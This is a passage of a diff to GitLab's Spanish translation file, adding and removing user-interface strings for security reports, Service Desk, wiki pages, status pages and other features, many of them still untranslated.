msgstr "Guardar la contraseña"
@@ -26176,6 +26830,9 @@ msgstr "Guardando"
msgid "Saving project."
msgstr "Guardar proyecto."
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr "Programaciones"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr "Programación"
-
msgid "Scheduling Pipelines"
msgstr "Programación de Pipelines"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr "Buscar un entorno específico"
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr "Buscar autores"
@@ -26305,6 +26962,9 @@ msgstr "Buscar este texto"
msgid "Search forks"
msgstr "Buscar forks"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Buscar merge requests"
msgid "Search milestones"
msgstr "Buscar hitos"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Buscar o filtrar resultados..."
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,25 +27260,31 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgstr ""
+
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} y %{secondProject}"
msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr "%{firstProject}, %{secondProject} y %{rest}"
-msgid "SecurityReports|Add a project to your dashboard"
-msgstr "Añadir un proyecto al panel de control"
-
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Añadir proyectos"
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr "Comentario eliminado en '%{vulnerabilityName}'"
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr "Comentario editado en '%{vulnerabilityName}'"
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,8 +27359,23 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
-msgstr "Monitorizar vulnerabilidades en su código"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
msgid "SecurityReports|Monitored projects"
msgstr ""
@@ -26693,9 +27383,6 @@ msgstr ""
msgid "SecurityReports|More info"
msgstr "Más información"
-msgid "SecurityReports|More information"
-msgstr "Más información"
-
msgid "SecurityReports|No activity"
msgstr ""
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr "Estado"
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr "Se ha producido un error al añadir el comentario."
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr "Vea la %{password_policy_guidelines} de GitLab"
@@ -26870,6 +27542,9 @@ msgstr "Seleccionar página"
msgid "Select Stack"
msgstr "Seleccionar el stack"
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "Seleccione un archivo en la barra lateral izquierda para comenzar la edición. Posteriormente, podrá hacer commit de sus cambios."
@@ -26879,8 +27554,8 @@ msgstr "Seleccione un grupo a invitar"
msgid "Select a label"
msgstr "Seleccione una etiqueta"
-msgid "Select a namespace to fork the project"
-msgstr "Seleccione un espacio de nombres para hacer un fork del proyecto"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "Seleccione un nuevo espacio de nombres"
@@ -26909,9 +27584,15 @@ msgstr "Selecciona una zona horaria"
msgid "Select all"
msgstr "Seleccionar todo"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr "Seleccione el proyecto para elegir la zona"
msgid "Select projects"
msgstr "Seleccione los proyectos"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr "Seleccionar revisor(es)"
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,20 +27881,44 @@ msgstr "Service Desk"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "Plantillas de Servicio"
+
+msgid "Service URL"
+msgstr "URL del servicio"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "Plantillas de Servicio"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
-msgstr "URL del servicio"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr "ID de sesión"
@@ -27314,6 +28019,9 @@ msgstr "Establece el número máximo de minutos de pipeline que un grupo puede u
msgid "Set the milestone to %{milestone_reference}."
msgstr "Establecer el hito a %{milestone_reference}."
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "establecer una contraseña"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Borrar estado"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Editar estado"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "¿Cuál es su estado?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "Establecer %{epic_ref} cómo tarea épica principal."
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "Mostrando %{limit} de %{total_count} incidencias. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Mostrando %{pageSize} de %{total} problemas"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "Mostrar todas las incidencias"
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "En paralelo"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr "Asignar estado de salud"
@@ -27867,6 +28590,9 @@ msgstr "Alguien editó este %{issueType} al mismo tiempo que usted. La descripci
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "Alguien editó este merge request al mismo tiempo que lo hizo usted. Por favor, actualice la página para ver los cambios."
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,15 +29271,15 @@ msgstr "Estado:"
msgid "Status: %{title}"
msgstr "Estado: %{title}"
+msgid "StatusPage|AWS %{docsLink}"
+msgstr ""
+
msgid "StatusPage|AWS Secret access key"
msgstr ""
msgid "StatusPage|AWS access key ID"
msgstr ""
-msgid "StatusPage|AWS documentation"
-msgstr "Documentación de AWS"
-
msgid "StatusPage|AWS region"
msgstr "Región de AWS"
@@ -28566,9 +29292,6 @@ msgstr "Bucket %{docsLink}"
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr "Nombre del bucket S3"
@@ -28581,7 +29304,7 @@ msgstr "URL de la página de estado"
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr "Subclaves"
msgid "Submit"
msgstr "Enviar"
-msgid "Submit %{humanized_resource_name}"
-msgstr "Enviar %{humanized_resource_name}"
-
msgid "Submit a review"
msgstr "Enviar una revisión"
@@ -28689,9 +29409,6 @@ msgstr "Enviar cambios..."
msgid "Submit feedback"
msgstr "Enviar comentarios"
-msgid "Submit issue"
-msgstr "Enviar incidencia"
-
msgid "Submit review"
msgstr "Enviar para revisión"
@@ -28749,9 +29466,6 @@ msgstr "Suscripción eliminada correctamente."
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Análisis de cobertura de las pruebas"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] "Cobertura de la prueba: %d"
@@ -29534,9 +30253,6 @@ msgstr[1] "El %{type} contiene los siguientes errores:"
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr "La incidencia actual"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr "El dominio que ha introducido no está permitido."
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr "Los errores que encontramos fueron:"
@@ -29648,6 +30370,9 @@ msgstr "El archivo se ha eliminado correctamente."
msgid "The file name should have a .yml extension"
msgstr "El nombre del archivo debe tener una extensión .yml"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La importación finalizará después de %{timeout}. Para los repositorios que necesiten más tiempo, utilice una combinación de comandos 'clone'/'push'."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "No se ha podido aceptar la invitación."
@@ -29770,6 +30498,9 @@ msgstr "Los conflictos en el merge para este merge request ya se han resuelto. P
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr "El nombre %{name} ya se está utilizando en este directorio."
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr "La replica ha tardado demasiado tiempo en completarse."
@@ -29893,6 +30627,9 @@ msgstr "La pestaña especificada no es válida, por favor seleccione otra"
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "La etapa de puesta en escena muestra el tiempo entre la fusión y el despliegue de código en el entorno de producción. Los datos se añadirán automáticamente una vez que se despliega a producción por primera vez."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr "No hay claves SSH asociadas con esta cuenta."
msgid "There are no SSH keys with access to your account."
msgstr "No hay claves SSH con acceso a su cuenta."
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Aún no hay proyectos archivados"
@@ -30001,9 +30747,6 @@ msgstr "No hay plantillas de proyecto personalizadas para esta instancia de GitL
msgid "There are no issues to show"
msgstr "Aún no hay incidencias que mostrar"
-msgid "There are no issues to show."
-msgstr "No hay incidencias que mostrar."
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr "Se ha producido un error al restablecer el token de correo electrónico.
msgid "There was an error when subscribing to this label."
msgstr "Se ha producido un error al suscribirse a esta etiqueta."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Se ha producido un error al cancelar la suscripción de esta etiqueta."
@@ -30385,8 +31131,8 @@ msgstr "El alcance de este tablero es limitado"
msgid "This chart could not be displayed"
msgstr "No se puede mostrar este gráfico"
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
-msgstr "Este comentario ha cambiado desde que se comenzó a editar, por favor revise el %{startTag}comentario actualizado%{endTag} para asegurar que no se pierde ningún tipo de información."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Este commit es parte de un merge request %{link_to_merge_request}. Los comentarios creados aquí se crearán en el contexto del merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Este grupo"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr "Este es un usuario \"fantasma\", creado para mantener todas las incidencias creadass por usuarios de Gitlab que ya han sido eliminados. Este usuario no se puede eliminar."
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "Automáticamente, esos correos electrónicos se convierten en incidencias (la conversación por correo electrónico, se convierte en comentarios) enumerados aquí."
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr "Tareas pendientes"
msgid "To GitLab"
msgstr "A GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr "Para acceder a este dominio, cree un nuevo registro DNS"
@@ -31238,9 +31996,6 @@ msgstr "Para comenzar, introduzca su URL de FogBugz, y a continuación, introduz
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "Para comenzar, vincule esta página a su servidor Jaeger, o descubra cómo instalar %{link_start_tag}Jaeger%{link_end_tag}"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "Para comenzar, introduzca la URL de su servidor de Gitea y un %{link_to_personal_token}."
@@ -31268,8 +32023,8 @@ msgstr "Para mover o copiar todo un proyecto de GitLab de una instalación de Gi
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
-msgstr "Para abrir Jaeger y ver fácilmente la trazabilidad desde GitLab, enlace la página %{link} a su servidor"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
msgstr ""
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Alternar navegación"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Activar el Service Desk"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr "U2F sólo funciona con sitios web habilitados con HTTPS. Contacte con su
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "Se requiere la URL"
@@ -32167,8 +32928,8 @@ msgstr "Actualice su plan para activar la herramienta Group Webhooks."
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
-msgstr "Actualice su plan para mejorar los merge requests."
+msgid "Upgrade your plan to improve merge requests."
+msgstr ""
msgid "Upload"
msgstr ""
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "Subir fichero CSV"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr "Subir licencia"
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Paquetes"
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "Utilice la herramienta Service Desk para conectarse con sus usuarios (por ejemplo, para ofrecer soporte al cliente) a través del correo electrónico directamente desde dentro de GitLab"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr "El usuario %{current_user_username} ha comenzado a suplantar %{username}
msgid "User %{username} was successfully removed."
msgstr "El usuario %{username} se ha eliminado correctamente."
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,8 +33336,11 @@ msgstr "Ajustes de usuario"
msgid "User was successfully created."
msgstr "Usuario creado correctamente."
-msgid "User was successfully removed from group and any subresources."
-msgstr "Se ha eliminado el usuario correctamente del grupo y de los recursos."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
+msgstr ""
msgid "User was successfully removed from project."
msgstr "Se ha eliminado el usuario correctamente del proyecto."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr "Usuarios que solicitan acceso a"
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "Usuarios añadidos con éxito."
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr "Ver etiquetas"
msgid "View log"
msgstr "Ver log"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Ver solicitud de fusión abierta"
@@ -33056,6 +33850,9 @@ msgstr "Ver idiomas y marcos soportados"
msgid "View the documentation"
msgstr "Ver documentación"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr "Ver el panel de control del rendimiento en"
msgid "View users statistics"
msgstr "Ver las estadísticas de usuarios"
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr "Webhook"
@@ -33653,6 +34468,9 @@ msgstr "¿Qué le describe mejor?"
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Instalar Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Iniciar a Gollum y editar localmente"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Sugerencia: Puede mover esta página agregando la ruta al comienzo del título."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "Ya hay una página con el mismo título en la ruta."
@@ -33826,18 +34641,6 @@ msgstr "historial"
msgid "WikiHistoricalPage|most recent version"
msgstr "versión más reciente"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Más ejemplos disponilbles en %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "documentación"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Sugerencia: Puede especificar la ruta completa para el nuevo archivo. Crearemos automáticamente cualquier directorio que sea necesario."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "¿Está seguro de que desea eliminar esta página?"
@@ -33850,11 +34653,38 @@ msgstr "¿Desea eliminar la página %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "Crear %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "Actualizar %{pageTitle}"
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
